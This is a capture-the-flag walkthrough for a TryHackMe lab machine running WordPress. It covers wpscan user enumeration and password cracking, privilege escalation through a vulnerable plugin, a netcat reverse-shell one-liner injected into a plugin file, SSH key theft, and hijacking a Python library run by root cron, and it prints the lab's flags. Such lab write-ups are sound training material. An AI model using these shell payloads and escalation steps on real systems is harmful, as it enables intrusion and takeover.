From aldeid
Jump to navigation Jump to search


Compromise a web server running Wordpress, obtain a low privileged user and escalate your privileges to root using a Python module.

Connect to our network and deploy this machine.

Add jack.thm to /etc/hosts

#1 - Gain initial access and obtain the user flag.

Hint: Wpscan user enumeration, and don’t use tools (ure_other_roles)


Append the following entry to your /etc/hosts file:    jack.thm

Let’s check the services running on the target:

22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 3e:79:78:08:93:31:d0:83:7f:e2:bc:b6:14:bf:5d:9b (RSA)
|   256 3a:67:9f:af:7e:66:fa:e3:f8:c7:54:49:63:38:a2:93 (ECDSA)
|_  256 8c:ef:55:b0:23:73:2c:14:09:45:22:ac:84:cb:40:d2 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-generator: WordPress 5.3.2
| http-robots.txt: 1 disallowed entry 
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Jack's Personal Site – Blog for Jacks writing adven...
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

There are 2 open ports, 22 and 80, respectively for SSH and HTTP.

As far as the web service, it hosts a Worpress CMS, which is confirmed by the entries in the robots.txt file:

$ curl -s
User-agent: *
Disallow: /wp-admin/
Allow: /wp-admin/admin-ajax.php

Wordpress users

Let’s use wpscan to enumerate the users:

$ wpscan --url http://jack.thm -e u


[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:00 <========================================> (10 / 10) 100.00% Time: 00:00:00

[i] User(s) Identified:

[+] jack
 | Found By: Rss Generator (Passive Detection)
 | Confirmed By:
 |  Wp Json Api (Aggressive Detection)
 |   - http://jack.thm/index.php/wp-json/wp/v2/users/?per_page=100&page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] wendy
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] danny
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)


There are 3 users identified.

Crack passwords

Let’s save the users in users.txt and find valid passwords:

$ cat > users.txt << EOF
$ wpscan -U users.txt -P /data/src/wordlists/fasttrack.txt --url http://jack.thm


[+] Performing password attack on Xmlrpc against 3 user/s
[SUCCESS] - wendy / changelater                                                                                       
Trying danny /  Time: 00:00:24 <==================================================> (648 / 648) 100.00% Time: 00:00:24

[!] Valid Combinations Found:
 | Username: wendy, Password: changelater


Nice! We have found wendy’s password.

Login as Wendy

Now go to http://jack.thm/wp-login.php and login with wendy:changelater. As you will notice, Wendy has limited privileges and we can’t do any administrative task.

No way to create a reverse shell with these limited privileges. We need to grant Wendy with more privileges.

Grant Wendy administrator privileges

The User Role Editor plugin is vulnerable to a privilege escalation ( and we can grant Wendy administrator privileges.

Start BurpSuite and browse Wendy’s profile (http://jack.thm/wp-admin/profile.php).

Now, scroll down to the very bottom of the page and click on the Update Profile button. Intercept the following request in BurpSuite:

POST /wp-admin/profile.php HTTP/1.1
Host: jack.thm
User-Agent: Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:77.0) Gecko/20100101 Firefox/77.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://jack.thm/wp-admin/profile.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 312
Origin: http://jack.thm
DNT: 1
Connection: close
Cookie: wordpress_07f87507b491ce41808428c8c499655c=wendy%7C1592655638%7CLRHrQ5OvxYuOhZLXpHc1pkmEM5zPeI5wHlr75cChfkx%7Cd29e8efa83c597e5521498d8cbbdae7fc1f019cf0f14499b9dc07f3e9b1aee19; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_07f87507b491ce41808428c8c499655c=wendy%7C1592655638%7CLRHrQ5OvxYuOhZLXpHc1pkmEM5zPeI5wHlr75cChfkx%7C0cc36c8cc6f4e6246a036f37683f0d59afa9faa3885a86abce0dc9f372273b14; wp-settings-time-2=1592486277
Upgrade-Insecure-Requests: 1


And before forwarding it, add the following variable at the end:


Now, Wendy is granted administrator privileges and we should be able to make our reverse shell.

Reverse shell

It was not possible to hook the 404.php template with a PHP reverse shell but but updating the plugins is possible.

Prefix the existing code of any plugin (e.g. Hello Dolly > hello.php) with a reverse shell, as shown below:

<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 4444 >/tmp/f'); ?>

Save the page, open a listener (rlwrap nc -nlvp 4444) and activate the plugin. It should trigger a shell:

$ whoami
$ cd /home/jack/
$ ls
$ cat user.txt

User flag: 0052f7829e48752f2e7bf50f1231548a

#2 - Escalate your privileges to root. Whats the root flag?

Hint: Python

Still in jack’s home, there is an interesting file that talks about backup and permissions.

$ cat /home/jack/reminder.txt

Please read the memo on linux file permissions, last time your backups almost got us hacked! Jack will hear about this when he gets back.

Searching for backup, it quickly turns out that there is a backup directory in /var:

$ cd /var/backups/
$ ls -l
total 776
drwxr-xr-x  2 root root     4096 Jan 10 15:05 ./
drwxr-xr-x 14 root root     4096 Jan  9 10:10 ../
-rw-r--r--  1 root root    40960 Jan  9 06:25 alternatives.tar.0
-rw-r--r--  1 root root     9931 Jan  9 10:34 apt.extended_states.0
-rw-r--r--  1 root root      713 Jan  8 11:20 apt.extended_states.1.gz
-rw-r--r--  1 root root       11 Jan  8 11:17 dpkg.arch.0
-rw-r--r--  1 root root       43 Jan  8 11:17 dpkg.arch.1.gz
-rw-r--r--  1 root root      437 Jan  8 11:23 dpkg.diversions.0
-rw-r--r--  1 root root      202 Jan  8 11:23 dpkg.diversions.1.gz
-rw-r--r--  1 root root      207 Jan  9 10:11 dpkg.statoverride.0
-rw-r--r--  1 root root      129 Jan  8 11:19 dpkg.statoverride.1.gz
-rw-r--r--  1 root root   552673 Jan  9 10:34 dpkg.status.0
-rw-r--r--  1 root root   129487 Jan  8 11:20 dpkg.status.1.gz
-rw-------  1 root root      813 Jan 10 10:54 group.bak
-rw-------  1 root shadow    679 Jan 10 10:54 gshadow.bak
-rwxrwxrwx  1 root root     1675 Jan 10 15:05 id_rsa*
-rw-------  1 root root     1626 Jan  9 10:11 passwd.bak
-rw-------  1 root shadow   1066 Jan 10 08:07 shadow.bak

Interstingly, all interesting files have been properly protected but id_rsa which I suspect to be jack’s SSH private key. As python3 is installed on the server, let’s make the file available to us as a python web server:

$ /usr/bin/python3 -m http.server

Now, we can download id_rsa by connecting to

Let’s check if we can connect as jack:

$ chmod 600 id_rsa
$ ssh -i id_rsa [email protected]

Great! We are now connected as Jack. Let’s find a way to elevate our privileges. Standard enumeration tools like are great, but there is a great tool called pspy that will be particularly handy in our case.

Using pspy, we can notice that there is a cron job running every 2 minutes:

2020/06/18 09:50:01 CMD: UID=0    PID=27131  | /usr/bin/python /opt/statuscheck/ 
2020/06/18 09:50:01 CMD: UID=0    PID=27130  | /bin/sh -c /usr/bin/python /opt/statuscheck/ 
2020/06/18 09:50:01 CMD: UID=0    PID=27129  | /usr/sbin/CRON -f 
2020/06/18 09:50:01 CMD: UID=0    PID=27133  | sh -c /usr/bin/curl -s -I >> /opt/statuscheck/output.log 
2020/06/18 09:50:01 CMD: UID=0    PID=27132  | sh -c /usr/bin/curl -s -I >> /opt/statuscheck/output.log 
2020/06/18 09:52:01 CMD: UID=0    PID=27137  | /usr/bin/python /opt/statuscheck/ 
2020/06/18 09:52:01 CMD: UID=0    PID=27136  | /bin/sh -c /usr/bin/python /opt/statuscheck/ 
2020/06/18 09:52:01 CMD: UID=0    PID=27135  | /usr/sbin/CRON -f 
2020/06/18 09:52:01 CMD: UID=0    PID=27139  | /usr/bin/curl -s -I 
2020/06/18 09:52:01 CMD: UID=0    PID=27138  | sh -c /usr/bin/curl -s -I >> /opt/statuscheck/output.log 
2020/06/18 09:54:01 CMD: UID=0    PID=27143  | /usr/bin/python /opt/statuscheck/ 
2020/06/18 09:54:01 CMD: UID=0    PID=27142  | /bin/sh -c /usr/bin/python /opt/statuscheck/ 
2020/06/18 09:54:01 CMD: UID=0    PID=27141  | /usr/sbin/CRON -f 
2020/06/18 09:54:01 CMD: UID=0    PID=27144  | /usr/bin/python /opt/statuscheck/ 
2020/06/18 09:54:01 CMD: UID=0    PID=27145  | sh -c /usr/bin/curl -s -I >> /opt/statuscheck/output.log 

The script is owned by root and we don’t have write access to it:

[email protected]:/opt/statuscheck$ ls -la
total 48
drwxr-xr-x 2 root root  4096 Jan 10 18:34 .
drwxr-xr-x 3 root root  4096 Jan 10 09:50 ..
-rw-r--r-- 1 root root    92 Jan 10 10:10
-rw-r--r-- 1 root root 30096 Jun 18 10:14 output.log

The script itself doesn’t do much. It connects to localhost and outputs the result in a log file on the same directory as the script.

[email protected]:/opt/statuscheck$ cat 
import os

os.system("/usr/bin/curl -s -I >> /opt/statuscheck/output.log")

But… we have write access to /usr/lib/python2.7/ which is imported in the script:

[email protected]:/usr/lib/python2.7$ ls -l /usr/lib/python2.7/
-rw-rw-r-x 1 root family 25908 Jan 10 19:22 /usr/lib/python2.7/

Time to write some python code. Append the following content at the end of /usr/lib/python2.7/

import socket
import pty
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

Open a listener on port 5555 (or whatever you specified in the code above) and wait. You can run pspy in parallel on the server to monitor the cron job.

$ rlwrap nc -nlvp 5555
Ncat: Version 7.80 ( )
Ncat: Listening on :::5555
Ncat: Listening on
Ncat: Connection from
Ncat: Connection from
[email protected]:~# cat root.txt
cat root.txt

Root flag: b8b63a861cc09e853f29d8055d64bffb

Really great challenge! Congrats to the author, I had a lot of fun!

Note: Don’t forget to remove the entry from the /etc/hosts file


blog comments powered by Disqus

Keywords: ctf tryhackme wordpress